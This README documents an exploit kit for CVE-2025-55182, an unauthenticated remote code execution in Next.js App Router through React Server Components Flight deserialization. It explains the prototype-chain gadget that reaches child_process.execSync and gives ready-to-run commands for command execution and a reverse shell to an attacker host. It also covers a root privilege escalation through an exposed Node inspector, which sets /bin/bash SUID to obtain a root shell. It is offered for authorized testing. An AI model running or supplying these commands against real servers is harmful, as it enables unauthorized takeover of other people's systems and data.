
Standalone exploit for CVE-2025-55182 achieving unauthenticated RCE in Next.js App Router via React Server Components Flight deserialization, with reverse shell and Node.js V8 Inspector privilege escalation helper.
Proof-of-concept chain for CVE-2025-55182 ("React2Shell"), an unauthenticated
remote code execution in Next.js App Router applications that use React Server
Components. A crafted RSC Flight payload to the server-action endpoint is
deserialized unsafely and reaches child_process.execSync, giving code
execution in the Node.js server process.
This repository bundles two pieces:
react2shell-poc.py - the RSC Flight RCE itself (vendored, see Credits).cdp_privesc.py - an original local privilege-escalation helper that attaches
to a root-owned Node.js --inspect debugger and runs code as root.See the NVD entry and the Tenable write-up for the authoritative affected-range list; test the exact build in front of you.
RSC Flight payload deserialization accepts attacker-controlled references that
traverse the prototype chain ($1:__proto__:then, $1:constructor:constructor)
to reach the Function constructor, and an injected _response._prefix string
is evaluated server-side. The injected JavaScript calls
process.mainModule.require('child_process').execSync(...), so a single POST to
a server-action route runs commands as the Node process, unauthenticated.
python3 -m pip install requests
react2shell-poc.py - RSC RCE (vendored, see Credits)python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost <LHOST> --lport 4444
| Flag | Description |
|---|---|
-t, --target | Target URL, e.g. http://TARGET:3000 |
-c, --command | Command to run (output returned via error-based exfil) |
--check | Only check whether the target looks vulnerable |
--blind | Blind RCE, no output capture |
--interactive | Pseudo-shell with output |
--revshell | Attempt a reverse shell (requires --lhost) |
--lhost / --lport | Attacker host/port for callback or reverse shell |
Default mode is error-based exfiltration: command output is returned in the
NEXT_REDIRECT error digest, so no outbound connection from the target is
required.
cdp_privesc.py - local privilege escalation via a root Node --inspect debuggerThis is a local step, not a network exploit against the web target. It attaches
to a root-owned Node.js inspector listening on 127.0.0.1:9229 and runs code as
root. If the inspector is only on loopback, forward it first:
ssh -L 9229:127.0.0.1:9229 user@target
Then run (the argument is the shell command; it defaults to
chmod +s /bin/bash; id):
python3 cdp_privesc.py # default: SUID /bin/bash, then run `id`
python3 cdp_privesc.py 'chmod +s /bin/bash' # explicit command
bash -p # root shell via the SUID bash
| Input | Description |
|---|---|
argv[1] | Shell command to run as root (default chmod +s /bin/bash; id) |
It connects to 127.0.0.1:9229, opens the Chrome DevTools Protocol WebSocket,
and calls Runtime.evaluate with
global.process.mainModule.require('child_process').execSync(<cmd>).
Unauthenticated remote code execution in the Node.js server process via
react2shell-poc.py. Where a root-owned Node inspector is also exposed,
cdp_privesc.py escalates local access to root.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) for the unauthenticated RSC
RCE, per the NVD entry for CVE-2025-55182 (confirm against the current NVD
vector).
CWE-502 (deserialization of untrusted data) leading to CWE-94 (code injection).
react2shell-poc.py is p3ta00's public CVE-2025-55182 PoC, vendored unchanged
from https://github.com/p3ta00/react2shell-poc for a self-contained chain. All
credit for that exploit belongs to the upstream author. cdp_privesc.py (the
Node --inspect local privesc) is original work.
For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.
Dilanka Kaushal Hewage (r3vpwnx)
MIT - see LICENSE. Note that react2shell-poc.py is vendored from a
third party (p3ta00); its original license and authorship apply to that file.